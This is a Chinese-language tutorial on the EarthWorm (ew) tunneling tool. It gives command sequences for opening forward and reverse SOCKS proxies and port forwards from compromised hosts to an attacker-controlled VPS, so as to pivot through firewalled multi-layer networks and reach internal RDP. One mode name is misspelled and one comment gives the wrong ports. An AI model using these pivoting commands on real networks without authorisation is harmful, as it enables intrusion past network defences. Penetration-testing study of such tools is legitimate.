EW链路模式和参数

六种链路状态:

ssocksd 正向本地 socks代理
rssocks 反向 socks代理(server)
rcsocks 反向 socks代理(client)
lcx_slave 将远程主机的端口 与 另一台主机的端口建立转发关系
lcx_tran 将本地端口转发至远程主机
lcx_listen 本地端口转发,本地端口之间建立转发关系

参数信息:

-l 指定要监听的本地端口
-d 指定要反弹到的机器 ip
-e 指定要反弹到的机器端口
-f 指定要主动连接的机器 ip
-g 指定要主动连接的机器端口
-t 指定超时时长,默认为 1000

socks隧道

普通环境:

  1. 目标网络边界存在公网IP且可任意开监听端口:(正向代理)
    1. 目标公网机器A
    2. +---------+ +-------------------+
    3. |HackTools| ->> | 8888 -> 1.1.1.1 |
    4. +---------+ +-------------------+
    公网IP_A = 1.1.1.1 执行如下
    ./ew -s ssocksd -l 8888   // 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
    
    HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理
    2.目标网络边界不存在公网 IP(能出网),需要通过反弹方式创建 socks 代理:(反向代理)
    自控公网VPS_IP                       可控边界主机A
    +---------+     +--------------------------+    |         +-------------+
    |HackTools| ->> | 1080 ->  1.1.1.1 -> 8888 |  防火墙     | <- 2.2.2.2  |
    +---------+     +--------------------------+    |        +-------------+
    
    VPS_IP = 1.1.1.1 执行如下
    ./ew -s rcsocks -l 1080 -e 8888  //在 1.1.1.1 的自控公网VPS主机上添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
    
    内网IP_A =2.2.2.2 执行如下
    ./ew -s rssocks -d 1.1.1.1 -e 8888  //将目标网络的可控边界主机A反向连接自控公网VPS主机的8888端口
    
    HackTools 可通过访问 1.1.1.1:1080 端口使用 2.2.2.2 主机提供的 socks5 代理服务

    对于二重网络环境:

    1.获得目标网络内网两台主机 A、B 的权限,情况描述如下:
    可控边界主机A                 可访问指定资源的内网主机B
    +---------+         +-----------------------+          +-----------------+
    |HackTools| ->>  | 1080 -->  1.1.1.1 --> |     ->>  | 9999 -> 2.2.2.2 |
    +---------+      +-----------------------+          +-----------------+
    
    A 主机: 存在公网 IP和内网IP,且自由监听任意端口,无法访问特定资源
    B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
    A 主机可直连 B 主机
    内网IP_B =2.2.2.2 执行如下
    ./ew -s ssocksd -l 9999  // 在 2.2.2.2 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
    
    边界IP_A = 1.1.1.1 执行如下
    ./ew -s lcx_tran -l 1080 -f 2.2.2.2 -g 9999  // 将 1080 端口收到的 socks 代理请求转交给 2.2.2.2 的主机。
    
    HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.2 主机提供的 socks5 代理。
    2.获得目标网络内两台主机 A、B 的权限,情况描述如下:
    自控公网VPS_IP                       可控边界主机A                可访问指定资源的主机B
    +---------+        +--------------------------+     |    +-----------------+          +-----------------+
    |HackTools|  ->> | 1080 ->  1.1.1.1 -> 8888 |  防火墙  | <--  2.2.2.2 --> | ->>  | 9999 -> 3.3.3.3 |
    +---------+      +--------------------------+     |    +-----------------+          +-----------------+
    
    A 主机: 目标网络的边界主机,无公网 IP,有内网IP(可出网),但无法访问特定资源。
    B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网
    A 主机可直连 B 主机
    VPS_IP= 1.1.1.1 执行如下
    ./ew -s lcx_listen -l 1080 -e 8888  // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
    
    边界IP_A= 2.2.2.2 执行如下
    ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 3.3.3.3 -g 9999  // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 3.3.3.3:9999 之间的通讯隧道
    
    内网IP_B= 3.3.3.3 执行如下
    ./ew -s ssocksd -l 9999 // 在 3.3.3.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
    
    HackTools 可通过访问 1.1.1.1:1080 来使用 3.3.3.3 主机提供的 socks5 代理

    对于三重网络环境

    2.获得目标网络内两台主机 A、B 、C的权限,情况描述如下:
    自控公网VPS_IP                       可控边界主机A                  可控内网主机B           可访问指定资源的主机C
    +---------+        +--------------------------+     |    +-----------------+          +----------------------+      +------------+
    |HackTools|  ->> | 1080 ->  1.1.1.1 -> 7777 |  防火墙  | <--  2.2.2.2 --> | ->>  | 8888 -> 3.3.3.3 ->9999| ->> | <- 4.4.4.4  |
    +---------+      +--------------------------+     |    +-----------------+          +----------------------+      +------------+
    
    A 主机: 目标网络的边界主机,无公网 IP,有内网IP(可出网),但无法访问特定资源。
    B 主机: 目标网络内部主机,不能访问外网,但可被A主机访问。
    C 主机: 目标网络内部主机,不能访问外网,可访问核心区域,可被B主机访问。
    VPS_IP= 1.1.1.1 执行如下
    ./ew -s rcsocks -l 1080 -e 7777  // 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 7777 端口的主机
    
    边界IP_A= 2.2.2.2 执行如下
    ./ew -s lcx_slave -d 1.1.1.1 -e 7777 -f 3.3.3.3 -g 8888  // 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 3.3.3.3:9999 之间的通讯隧道
    
    内网IP_B= 3.3.3.3 执行如下
    ./ew -s lcx_listen -l 8888 -e 9999 // 在 3.3.3.3 上将8888收到的代理请求转发给9999端口
    
    内网IP_C= 4.4.4.4 执行如下
    ./ew -s rscoscks -d 3.3.3.3 -e 9999 // 在 4.4.4.4上启动socks服务,并反弹到B主机的9999端口
    
    HackTools 可通过访问 1.1.1.1:1080 来使用 4.4.4.4 主机提供的 socks5 代理

    socks代理工具

    windows:SocksCap64
    linux:ProxyChains

    端口转发

    正向转发:

    拥有公网IP和内网IP的双网卡边界主机A和内网主机B=1.1.1.1在同一个内网
    边界主机A 执行如下
    ./ew -s lcx_tran -l 33890 -f 1.1.1.1 -g 3389
    
    连接A的33890端口即可连接内网B的3389

    反向转发:

    自控VPS_IP=1.1.1.1 执行如下
    ./ew -s lcx_listen -l 3380 -e 33890
    
    可出网边界主机B=2.2.2.2 执行如下,内网不出网机器C=3.3.3.3
    ./ew -s lcx_slave -d 1.1.1.1 -e 33890 -f 3.3.3.3 -g 3389
    
    连接自控VPS_IP主机的3380端口即可访问C机器的3389

    值得注意的问题:

    如上环境和命令,区别为可出网边界主机B=2.2.2.2为本地win10,内网不出网机器C=3.3.3.3为虚拟机win7
    发现不能通过自控VPS_IP主机的3380端口连接win7的3389,疑似为win7在虚拟机中登录后占用了“本地”“连接”“本地远程桌面”的会话(单用户模式?)